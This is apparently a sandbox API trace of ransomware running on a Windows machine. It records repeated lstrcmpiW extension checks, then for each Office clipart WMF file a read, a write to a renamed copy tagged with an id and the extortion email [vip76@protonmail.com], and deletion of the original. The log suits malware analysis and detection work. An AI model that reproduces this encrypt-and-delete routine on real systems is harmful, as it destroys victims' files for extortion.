	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString=".zip") returned 4
	[0174.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.737] lstrlenW (lpString=".rar") returned 4
	[0174.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString=".bz2") returned 4
	[0174.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString=".7z") returned 3
	[0174.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString=".dbf") returned 4
	[0174.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString=".1cd") returned 4
	[0174.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString=".jpg") returned 4
	[0174.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.737] lstrlenW (lpString=".doc") returned 4
	[0174.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString=".docx") returned 5
	[0174.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.737] lstrlenW (lpString=".pdf") returned 4
	[0174.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.737] lstrlenW (lpString=".xls") returned 4
	[0174.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.737] lstrlenW (lpString=".xlsx") returned 5
	[0174.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.737] lstrlenW (lpString=".ppt") returned 4
	[0174.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.738] lstrlenW (lpString=".zip") returned 4
	[0174.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.738] lstrlenW (lpString=".rar") returned 4
	[0174.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.738] lstrlenW (lpString=".bz2") returned 4
	[0174.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.738] lstrlenW (lpString=".7z") returned 3
	[0174.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.738] lstrlenW (lpString=".dbf") returned 4
	[0174.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.738] lstrlenW (lpString=".1cd") returned 4
	[0174.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.738] lstrlenW (lpString=".jpg") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.738] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.738] lstrlenW (lpString="HH00231_.WMF") returned 12
	[0174.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.886] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2232) returned 1
	[0174.886] CloseHandle (hObject=0x574) returned 1
	[0174.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220
	[0174.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.889] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.889] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.890] GetLastError () returned 0x0
	[0174.890] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0174.892] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0174.893] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.893] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.893] SetEndOfFile (hFile=0x594) returned 1
	[0174.893] CloseHandle (hObject=0x594) returned 1
	[0174.893] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.893] SetEndOfFile (hFile=0x574) returned 1
	[0174.896] CloseHandle (hObject=0x574) returned 1
	[0174.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0174.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.897] lstrlenW (lpString=".doc") returned 4
	[0174.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.897] lstrlenW (lpString=".docx") returned 5
	[0174.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.897] lstrlenW (lpString=".pdf") returned 4
	[0174.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.897] lstrlenW (lpString=".xls") returned 4
	[0174.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.897] lstrlenW (lpString=".xlsx") returned 5
	[0174.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.897] lstrlenW (lpString=".ppt") returned 4
	[0174.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.897] lstrlenW (lpString=".zip") returned 4
	[0174.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.897] lstrlenW (lpString=".rar") returned 4
	[0174.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.897] lstrlenW (lpString=".bz2") returned 4
	[0174.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.897] lstrlenW (lpString=".7z") returned 3
	[0174.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString=".dbf") returned 4
	[0174.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString=".1cd") returned 4
	[0174.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString=".jpg") returned 4
	[0174.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString=".doc") returned 4
	[0174.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString=".docx") returned 5
	[0174.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.898] lstrlenW (lpString=".pdf") returned 4
	[0174.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString=".xls") returned 4
	[0174.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.898] lstrlenW (lpString=".xlsx") returned 5
	[0174.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.898] lstrlenW (lpString=".ppt") returned 4
	[0174.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.898] lstrlenW (lpString=".zip") returned 4
	[0174.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.898] lstrlenW (lpString=".rar") returned 4
	[0174.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString=".bz2") returned 4
	[0174.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.898] lstrlenW (lpString=".7z") returned 3
	[0174.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.899] lstrlenW (lpString=".dbf") returned 4
	[0174.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.899] lstrlenW (lpString=".1cd") returned 4
	[0174.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0174.899] lstrlenW (lpString=".jpg") returned 4
	[0174.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.899] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.899] lstrlenW (lpString="HH00235_.WMF") returned 12
	[0174.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.900] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1026) returned 1
	[0174.900] CloseHandle (hObject=0x574) returned 1
	[0174.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220
	[0174.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.900] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.900] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.901] GetLastError () returned 0x0
	[0174.901] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x402, lpOverlapped=0x0) returned 1
	[0174.903] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x410, lpOverlapped=0x0) returned 1
	[0174.904] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.904] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.904] SetEndOfFile (hFile=0x594) returned 1
	[0174.905] CloseHandle (hObject=0x594) returned 1
	[0174.905] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.905] SetEndOfFile (hFile=0x574) returned 1
	[0174.908] CloseHandle (hObject=0x574) returned 1
	[0174.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.909] lstrlenW (lpString=".doc") returned 4
	[0174.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.909] lstrlenW (lpString=".docx") returned 5
	[0174.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.909] lstrlenW (lpString=".pdf") returned 4
	[0174.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.909] lstrlenW (lpString=".xls") returned 4
	[0174.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.909] lstrlenW (lpString=".xlsx") returned 5
	[0174.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.909] lstrlenW (lpString=".ppt") returned 4
	[0174.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.909] lstrlenW (lpString=".zip") returned 4
	[0174.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.909] lstrlenW (lpString=".rar") returned 4
	[0174.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.909] lstrlenW (lpString=".bz2") returned 4
	[0174.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString=".7z") returned 3
	[0174.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString=".dbf") returned 4
	[0174.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString=".1cd") returned 4
	[0174.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString=".jpg") returned 4
	[0174.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString=".doc") returned 4
	[0174.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString=".docx") returned 5
	[0174.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.910] lstrlenW (lpString=".pdf") returned 4
	[0174.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString=".xls") returned 4
	[0174.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.910] lstrlenW (lpString=".xlsx") returned 5
	[0174.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.910] lstrlenW (lpString=".ppt") returned 4
	[0174.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.910] lstrlenW (lpString=".zip") returned 4
	[0174.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.910] lstrlenW (lpString=".rar") returned 4
	[0174.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.910] lstrlenW (lpString=".bz2") returned 4
	[0174.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.911] lstrlenW (lpString=".7z") returned 3
	[0174.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.911] lstrlenW (lpString=".dbf") returned 4
	[0174.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.911] lstrlenW (lpString=".1cd") returned 4
	[0174.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0174.911] lstrlenW (lpString=".jpg") returned 4
	[0174.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.911] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.911] lstrlenW (lpString="HH00236_.WMF") returned 12
	[0174.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.912] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3286) returned 1
	[0174.912] CloseHandle (hObject=0x574) returned 1
	[0174.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220
	[0174.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.912] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.912] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.913] GetLastError () returned 0x0
	[0174.913] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xcd6, lpOverlapped=0x0) returned 1
	[0174.915] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0174.916] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.916] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.916] SetEndOfFile (hFile=0x594) returned 1
	[0174.916] CloseHandle (hObject=0x594) returned 1
	[0174.916] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.916] SetEndOfFile (hFile=0x574) returned 1
	[0174.919] CloseHandle (hObject=0x574) returned 1
	[0174.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0175.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.077] lstrlenW (lpString=".doc") returned 4
	[0175.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.092] lstrlenW (lpString=".docx") returned 5
	[0175.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.092] lstrlenW (lpString=".pdf") returned 4
	[0175.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.117] lstrlenW (lpString=".xls") returned 4
	[0175.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.117] lstrlenW (lpString=".xlsx") returned 5
	[0175.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.133] lstrlenW (lpString=".ppt") returned 4
	[0175.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
